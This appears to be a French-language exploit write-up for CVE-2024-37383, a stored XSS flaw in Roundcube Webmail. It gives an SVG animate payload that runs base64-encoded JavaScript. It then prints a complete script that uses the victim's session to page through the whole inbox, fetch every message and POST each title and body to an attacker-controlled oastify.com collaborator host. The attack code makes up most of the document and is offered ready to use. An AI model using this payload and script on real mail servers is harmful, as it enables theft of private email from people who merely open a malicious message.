
Exploit du serveur de messagerie Roundcube pour CVE-2024-37383 (Stored XSS)
La vulnérabilité CVE-2024-37383 a été découverte dans le client de messagerie Roundcube Webmail. Il s'agit d'une vulnérabilité XSS stockée qui permet à un attaquant d'exécuter du code JavaScript sur la page de l'utilisateur. Pour exploiter la vulnérabilité, il suffit aux attaquants d'ouvrir un courriel malveillant en utilisant une version du client Roundcube antérieure à 1.5.6 ou de 1.6 à 1.6.6.
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
Ce code automatise le processus de récupération de tous les messages de la boîte de réception d'un serveur Roundcube webmail et l'envoi de ces données à un point de terminaison spécifique du serveur collaborateur.
L'URL principale du webmail (cible) et l'URL du serveur récepteur (attackerserver) sont définies comme variables au début pour une configuration facile.
La fonction getPageCount envoie une requête GET à l'URL principale du webmail pour récupérer les métadonnées, y compris le nombre total de pages (pagecount). Si pagecount est trouvé, elle procède à une boucle sur chaque page.
Pour chaque page de 1 à pagecount, elle construit une URL paginée pour demander cette page. La réponse de chaque page est vérifiée pour les occurrences de add_message_row(NUMBER) à l'aide d'une expression régulière, extrayant les identifiants de message de chaque occurrence et rassemblant tous les identifiants dans une seule liste.
Pour chaque identifiant de message, le code construit une URL pour demander les données détaillées de ce message. Il envoie une requête GET pour chaque URL d'identifiant de message, recevant le HTML complet de la réponse.
Dans chaque réponse de message, il utilise une expression régulière pour capturer le (titre du message) et le contenu principal du message. Toutes les balises HTML sont supprimées du contenu du message pour ne conserver que le texte brut.
Pour chaque message extrait, une requête POST est effectuée vers le point de terminaison du serveur avec le titre et le contenu du message nettoyé, encodés en URL pour une transmission correcte.
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";
// Use regex to extract the main message content
var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
let messageMatches;
while ((messageMatches = regex.exec(messageResponseText)) !== null) {
// Clean HTML tags from the message content
let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags
// Send the cleaned message and title to the user via POST request
sendMessageToUser(cleanMessage.trim(), title);
}
}
};
// Handle network errors for message request
messageReq.onerror = function() {
// Error handling for message request
};
// Send the request for the current message URL
messageReq.send();
})(newUrl);
});
}
};
// Handle network errors for page request
pageReq.onerror = function() {
completedRequests++; // Increment completed request count even on error
};
// Send the request for the current page
pageReq.send();
})(page);
}
}
} catch (error) {
// Error handling for JSON parsing
}
}
};
// Handle network errors for initial request
req.onerror = function() {
// Error handling for initial request
};
// Send the request
req.send();
}
// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
var postReq = new XMLHttpRequest();
postReq.open('POST', attackerserver, true);
postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// Define the response handler for the POST request
postReq.onload = function() {
// Response handler for successful send
};
// Handle network errors for sending message
postReq.onerror = function() {
// Error handling for message send
};
// Send the POST request with the URL-encoded title and message content
postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}
// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);